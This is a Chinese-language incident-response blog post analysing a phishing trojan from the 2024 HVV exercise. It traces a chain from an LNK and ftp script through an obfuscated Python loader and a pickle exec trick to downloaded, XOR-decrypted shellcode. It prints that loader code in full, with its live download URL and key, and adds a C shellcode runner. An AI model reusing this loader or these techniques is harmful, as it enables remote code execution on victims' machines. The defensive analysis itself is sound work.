样本来源
该样本来源于2024Hvv的真实环境钓鱼样本,本次分析希望给大家普及如何避免和防范钓鱼木马。
还原木马运行路径
1、查看当前路径下还有什么隐藏文件
dir /a
attrib -s -h __init__
C:UsersCoriander>attrib /?
显示或更改文件属性。
ATTRIB [+R | -R] [+A | -A] [+S | -S] [+H | -H] [+O | -O] [+I | -I] [+X | -X] [+P | -P] [+U | -U]
][path][filename] [/S [/D]] [/L] :
设置属性。
清除属性。
R 只读文件属性。
A 存档文件属性。
S 系统文件属性。
H 隐藏文件属性。
O 脱机属性。
I 无内容索引文件属性。
X 无清理文件属性。
V 完整性属性。
P 固定属性。
U 非固定属性。
][path][filename] :
指定属性要处理的文件。
处理当前文件夹及其所有子文件夹中
的匹配文件。
也处理文件夹。
处理符号链接和
符号链接目标的属性
#将【libgcc.dll】以参数的形式传递给【ftp.exe】
C:WindowsSystem32ftp.exe -""s:__init__libgcc.dll
#使用pythonw.exe 执行main.pyw
!start /b __init__pythonw.exe __init__main.pyw
#然后启动11.docx
!start /b __init__11.docx
#脚本的结束标记
bye
#用来导入一个名为action的模块或者包
import action
import ast
import pickle
import ctypes ,urllib .request ,codecs ,base64
import sys ,ssl
ssl ._create_default_https_context =ssl ._create_unverified_context
OO00O0OO00OO00OO0 =urllib .request .urlopen ('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/1xqRVJEQA9u').read ()
def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):
O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))
for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):
O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]
return bytes (O0OO000OO0OOO0O00 )
def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):
return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )
def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):
O0O0OO0O0OO0O00OO =""
for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):
O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]
O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )
return O0000O0O0OOO000O0 .decode ()
OO00O0OO00OO00OO0 =OOOOO000O0OOOOO00 (OO00O0OO00OO00OO0 .decode ())
class A (object ):
def __reduce__ (OOOOOOOOO000000OO ):
return (exec ,(OO00O0OO00OO00OO0 ,))
def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):
try :
O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')
exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))
except Exception as OO0OOO00000OO00O0 :
exit ()
OO0OOO00O0O00OO0O ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
OOO00O0O00OO00O0O =OOOOO000O0OOOOO00 (OO0OOO00O0O00OO0O )
O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O )
lnk > 调用Ftp > 使用pythonw调用运行main.pyw > 间接调用action
分析样本
先整理一下思路,python定义了def之后是不会从上往下执行的,需要被调用之后才会运行,所以只需要先关注运行的代码即可。
import base64
def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):
O0O0OO0O0OO0O00OO =""
for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):
O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]
O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )
return O0000O0O0OOO000O0 .decode ()
OO0OOO00O0O00OO0O ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
OOO00O0O00OO00O0O =OOOOO000O0OOOOO00 (OO0OOO00O0O00OO0O )
print(OOO00O0O00OO00O0O)
结果如下
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)
这段Python代码是将对象A()序列化为字节流,然后使用base64编码将字节流转换为base64格式的字符串,接着再将base64字符串解码为字节流,最后使用pickle模块的loads函数将字节流反序列化为对象。
3、再看看A做了什么操作。
import base64
import urllib.request
OO00O0OO00OO00OO0 =urllib .request .urlopen ('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/1xqRVJEQA9u').read ()
def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):
O0O0OO0O0OO0O00OO =""
for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):
O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]
O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )
return O0000O0O0OOO000O0 .decode ()
OO00O0OO00OO00OO0 =OOOOO000O0OOOOO00 (OO00O0OO00OO00OO0 .decode ())
print(OO00O0OO00OO00OO0)
class A (object ):
def __reduce__ (OOOOOOOOO000000OO ):
return (exec ,(OO00O0OO00OO00OO0 ,))
结果如下
import ctypes,urllib.request,codecs,base64
encrypted_data = urllib.request.urlopen('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/GbyekXDcN').read()
encrypted_data = encrypted_data.strip()
while 1:
try:
#64
key = b'IKkOLMFvUYctUgoBy'
decoded_data = base64.b64decode(encrypted_data)
sc = OO0000OO00O00OOOO(decoded_data, key)
ctypes.c_uint64 =
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)
len(sc))
ctypes.c_int16(0), ctypes.c_int16(0))
except Error as e:
print(e)
从指定URL下载加密数据,然后使用给定的密钥解码数据,接着将解密后的数据作为shellcode执行。在执行过程中,代码尝试将shellcode分配到可执行内存中,并调用EnumDateFormatsA函数执行shellcode。
def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):
try :
O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')
exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))
except Exception as OO0OOO00000OO00O0 :
exit ()
O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O )
import base64
import urllib.request
def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):
O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))
for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):
O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]
return bytes (O0OO000OO0OOO0O00 )
def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):
return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )
encrypted_data = urllib.request.urlopen('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/GbyekXDcN').read()
encrypted_data = encrypted_data.strip()
# 64
key = b'IKkOLMFvUYctUgoBy'
decoded_data = base64.b64decode(encrypted_data)
sc = OO0000OO00O00OOOO(decoded_data, key)
with open("shellcode.bin","wb") as file:
file.write(sc)
import ast
import pickle
def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):
O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))
for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):
O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]
return bytes (O0OO000OO0OOO0O00 )
def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):
return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )
OO00O0OO00OO00OO0 ='''
import ctypes,urllib.request,codecs,base64
encrypted_data = urllib.request.urlopen('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/GbyekXDcN').read()
encrypted_data = encrypted_data.strip()
while 1:
try:
#64
key = b'IKkOLMFvUYctUgoBy'
decoded_data = base64.b64decode(encrypted_data)
sc = OO0000OO00O00OOOO(decoded_data, key)
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(sc), len(sc))
ctypes.windll.kernel32.EnumDateFormatsA(ctypes.c_char_p(rwxpage), ctypes.c_int16(0), ctypes.c_int16(0))
except Error as e:
print(e)
'''
class A (object ):
def __reduce__ (OOOOOOOOO000000OO ):
return (exec ,(OO00O0OO00OO00OO0 ,))
def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):
try :
O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')
exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))
except Exception as OO0OOO00000OO00O0 :
exit ()
OOO00O0O00OO00O0O ='''
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)
'''
O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O)
外连情况
int main()
{
HANDLE hFile = CreateFileA("shellcode.bin", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD nFileSize = GetFileSize(hFile, NULL);
LPVOID shellcode = VirtualAlloc(NULL, nFileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ReadFile(hFile, shellcode, nFileSize, NULL, NULL);
//创建一个线程,实力线程执行shellcode
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, NULL);
//等待线程执行完毕
WaitForSingleObject(hThread, INFINITE);
}
还是个域前置,寄了,后续也没什么动静了,我通过ProcessMonitor也没有发现他有其他操作,那本次的分析就结束了。希望大家有好玩的样本也可以分享给我!有什么不对的地方各位大佬可以在下方留言!!
原文始发于微信公众号(零攻防):应急响应 - 2024护网钓鱼样本分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论